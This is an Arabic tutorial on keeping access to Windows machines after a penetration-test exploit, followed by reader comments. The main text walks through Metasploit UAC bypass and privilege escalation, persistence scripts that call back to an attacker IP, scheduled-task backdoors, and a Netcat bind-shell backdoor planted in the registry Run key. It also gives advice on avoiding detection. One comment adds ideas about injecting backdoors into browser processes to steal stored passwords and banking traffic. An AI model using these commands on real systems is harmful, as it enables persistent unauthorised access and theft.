مقال : تثبيت الاستغلال والمحافظة على الوصول Maintaining Access
أي عملية اختبار الاختراق تمر عبر المراحل التالية:
- الاستطلاع Reconnaissance
- البحث عن الثغرات Scanning
- الإستغلال Exploitation
- تثبيت الاستغلال والمحافظة على الوصول Maintain access
- مسح الآثار Covering Tracks
في هذا المقال سوف نتعرف على طرق تثبيت الاستغلال والمحافظة على الوصول والمعروفه بـ Maintaining access . يتم تثبيت الاستغلال الذي حصلنا عليه بعد النجاح بعملية اختبار الاختراق في حالة اردنا ان نعود في وقت اخر الى الهدف والاتصال به مره اخرى .العديد من الأشخاص يعتقدون أن عملية تثبيت الوصول تتم فقط من خلال خلق باب خلفي backdoor ولكن هذا ليس كل شيء من أجل خلق shell مخفية.
عملية تثبيت الاستغلال والمحافظة على الوصول يمكن أن تتم من خلال عدة أمور:
- خلق مستخدم جديد
- تفعيل بعض الخدمات مثل FTP
- ضبط أو تغير الصلاحيات
- خلق باب خلفي backdoor
Meterpreter يحوي على payloads تقوم بخلق مستخدمين جدد والعديد من هذه الأمور السابقة يمكن أن تتم بشكل يدوي. لنمضي قليلاً من الوقت للتعرف على أنواع الأبواب الخلفية الموجودة في Metasploit , ومن اهم ما يوجد في Metasploit ثلاث سكريبتات لتثبيت عملية الوصول:
- Persistence
- S4u Persistence
- VSS Persistence
persistence module
أحد أشهر Meterpreter scripts المستخدمة في عملية تثبيت الوصول بعد عملية الاستغلال هو persistence module . سوف نقوم في جلسة Meterpreter فعالة بتشغيل persistence مع خيارات التحكم التي نريدها. هذا السكريبت سوف يقوم بتنصيب ملف يقوم بمحاولة الاتصال مع جهاز مختبر الاختراق بعد فترة زمنية يتم تحديها مسبقاً. يجب تشغيل persistence من حساب له أعلى مستوى صلاحيات عالية . للقيام بهذه العملية نبدأ مع جلسة Meterpreter فعالة مع نظام ويندوز لها صلاحيات المدير administrator account ثم القيام بتجاوز UAC – User Account Control ورفع الصلاحيات الى Administrator , في نظام الويندوز Administrator له مستوى صلاحيات عالي ولكن يوجد بعض الأمور لا يمكنه القيام بها. حساب الروت root في نظام اللينكس يملك أعلى مستوى صلاحيات والمكافىء له في نظام الويندوز هو “system” .حتى ولو حصلنا على جلسة بعيدة بمستوى صلاحيات administrator فإن UAC سوف تمنعنا من القيام ببعض الأمور مثل الحصول على الهاش الخاص بكلمة السر ولكن لا تقلق في Meterpreter يوجد UAC bypass module والتي تسمح لنا بتجاوز القيود التي يفرضها UAC والحصول على مستوى صلاحيات system level , يمكن الحصول على أعلى مستوى صلاحيات من خلال استخدام “bypassuac” module ثم كتابة التعليمة التالية :
getsystem
سنقوم بجعل جلسة Meterpreter تعمل بالخلفية باستخدام التعليمة:
background
الان سوف نقوم بكتابة التعليمات التالية:
use exploit/windows/local/bypassuac_injection
set session 1
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.39
set lport 4545
exploit
ملاحظة : يجب استخدم منفذ مختلف عن المنفذ الذي استخدمته في الشيل الأصلية
الان سنقوم باستخدام التعليمة التالية من أجل الانتقال لمستوى صلاحيات أعلى:
getsystem
الآن أصبح بإمكاننا تشغيل Persistence
التعليمة التالية تستخدم لمعرفة الخيارات المتاحة:
run persistence -h
سوف نستخدم:
(-X): من أجل أن يبدأ العمل بشكل اتوماتيكي عند إقلاع النظام
(i 10-): محاولة الاتصال كل 10 ثواني
(-p 443): المنفذ المستخدم في عملية الاتصال
(r 192.168.1.39-) عنوان IP لنظام الكالي الخاص بنا
run persistence -X -i 10 -p 443 -r 192.168.1.39
يمكننا رؤية أماكن تواجد الملفات التي سوف تًخزن في نظام الويندوز أيضا يمكننا الخروج من Metasploit بشكل كامل (قطع الاتصال مع الهدف) والعودة مرة ثانية وفتح Metasploit مرة جديدة وإعداد handler لاستقبال الاتصال من ويتم ذلك بكتابة التعليمة msf من أجل فتح Metasploit وكتابة التعليمات التالية:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.39
set LPORT 443
exploit
يمكننا الوصول إلى النظام الهدف بأي وقت نريد من خلال إعداد handler ليقوم باستقبال الاتصال ولكن يجب أن تنتبه عند استخدام البراميتر ” -i “ لتحديد الفترة الزمنية بين كل محاولة اتصال، إذا كانت هذه القيمة قليلة فهذا يمكن أن يزيد من احتمال اكتشاف محاولة الاتصال إذا تم مراقبة حركة البيانات من قبل مدير الشبكة .
إزالة Persistence:
يمكننا رؤية هذا السكريبت يعمل في نظام ويندوز من خلال كتابة “msconfig” في windows prompt
يمكننا وبشكل يدوي إزالة هذا الملف ومنع هذه التعليمة أو يمكننا تنفيذ الامر :
uninstall persistence script
والنتيجة كالتالي:
S4u_persistence – Scheduled Persistence:
S4u_Persistence هو باب خلفي يعمل كمهمة مجدولة scheduled task والذي يمكن أن يضاف إلى عمليات أو أحداث النظام مثل login, logoff or workstation lock
الخيارات المتاحة:
سنقوم باستخدام هذا الباب الخلفي backdoor والذي سوف يعمل عندما يقوم المستخدم بقفل جهازه workstation lock
من خلال استخدام التعليمات التالية في جلسة فعالة
عند الخروج من Metasploit ومن ثم فتحه مرة ثانية يجب أن نقوم بإعداد handler لإستقبال الاتصال العكسي في جهاز الهدف الذي يعمل بنظام الويندوز سنقوم بقفل الجهاز من خلال الضغط على زر الويندوز + L
عملية قفل الجهاز سوف تقوم بتشغيل الاتصال العكسي وسوف نحصل على remote shell , كما ترى فإن هذا النوع من الهجوم قوي جداً ويمكن أن يتم ربطه بأي عملية نظام (مثل تسجيل الدخول أو تسجيل الخروج)
Vss_Persistence:
VSS_Persistence يقوم بخلق باب خلفي دائم وهذا الاستغلال يحتاج إلى حساب له أعلى مستوى صلاحيات
طريقة الاستغلال سهلة جدا عن طريق تنفذ التعليمات التالية :
Netcat Backdoor:
الكالي يحوي على ملفات تنفيذية خاصة بنظام الويندوز والتي يمكننا استخدامها في عمليات اختبار الاختراق وهي موجودة في المسار التالي:
“/usr/shar/windows-binaries”
يمكننا استخدام windows Netcat (nc.exe) كباب خلفي backdoor من خلال رفعه إلى نظام الويندوز وجعله يعمل بشكل اتوماتيكي.
للقيام بهذا العمل نحتاج لجسلة فعالة مع النظام الهدف لها أعلى مستوى صلاحيات
عملية رفع هذا الملف تتم من خلال التعليمة التالية:
upload /usr/share/windows-binaries/nc.exe c:/windows/system32
/
إضافة الملف إلى registry تتم من خلال التعليمة:
reg setval -k HKLM\software\microsoft\windows\currentversion\run -v netcat -d “c:\windows\system32\nc.exe -ldp 5555 -e cmd.exe”
يمكننا التأكد من أن هذه العملية تمت بنجاح من خلال التعليمة:
reg queryval -k HKLM\software\microsoft\windows\currentversion\run –v netcat
كما يمكننا تشغيل “msconfig” في نظام الويندوز للتأكد من هذه العملية
الآن نحتاج فقط لإعادة تشغيل الجهاز الهدف الذي يعمل بنظام الويندوز ومن ثم تتم عملية الاتصال باستخدام netcat باستخدام التعليمة التالية في نظام الكالي:
nc -nv <Target IP Address> <port>
كما يمكننا الاتصال ببرنامج Netcat باستخدام handler in Metasploit
ملاحظة : (يجب أن تقوم بإعداة تشغيل الويندوز ليتم إعادة تشغيل netcat)
back
use exploit/multi/handler
set payload windows/shell_bind_tcp
set RHOST <Target IP Address>
set LPORT <Port>
exploit
شرح جميل
شكرا جميل , انت رائع
اخي شرح احترافي و شكرا على المعلومات القيمة .. لكن لم افهم جيدا الجزء المتعلق ب ريجيستري ادا امكن توضيح اكثر من فضلكم و شكرا مسبقا
السلام عليكم
موضوع حلو وكثيرا ما يتكرر في المواقع والمنتديات من دون أن يكون لدينا دراية بأنواع الباكدورات وتشغل هذه الباكدورات الخلفيه لهجمات أخري يقوم بها مخترق النظام استمر بارك الله فيكم فدائما هذه المنتدي نشط بالمواضيع المميزه
ولي تعقيق ان شاء الله ان يكون تعقيب سليم ولكم اهل الخبره التعقيب فيما افكر فيه
أعتقد ان إعداد الآرجتستري للظهور العمليه في startup والسوال هل تحقن العمليات المشغله علي startup أم يتم ربطها مع ما هو متواجد في اداره المهام والعمليات لأني بحسب المعرفه التي لدي اذا كنت أريد أن ارقب ترافيك الويب اربط الباكدورات علي عمليه المتصفح فمثلا المعاملات البنكيه التي تمر عبر بروتوكول http:// في المتصفح وهكذا اذا اردت ان اربط الباكدورات مع عمليه تشتغل في سطح المكتب لالتقاط صوره من سطح المكتب للمستخدم الحالي أي تكون العمليه في إطار المستخدم الحالي للمراقبة البيانات الخاص بالمستخدم بمعني أن حقن الكود الباكدور الي العمليه في سياق المستخدم الحالي سيحصل علي معلومات الباسورد المخزن في المتصفحات بشكل واضح وبكل سهوله فهناك علاقه بالمستخدم والعمليات المحقونه والبيانات أسواء كانت مشفره أو لا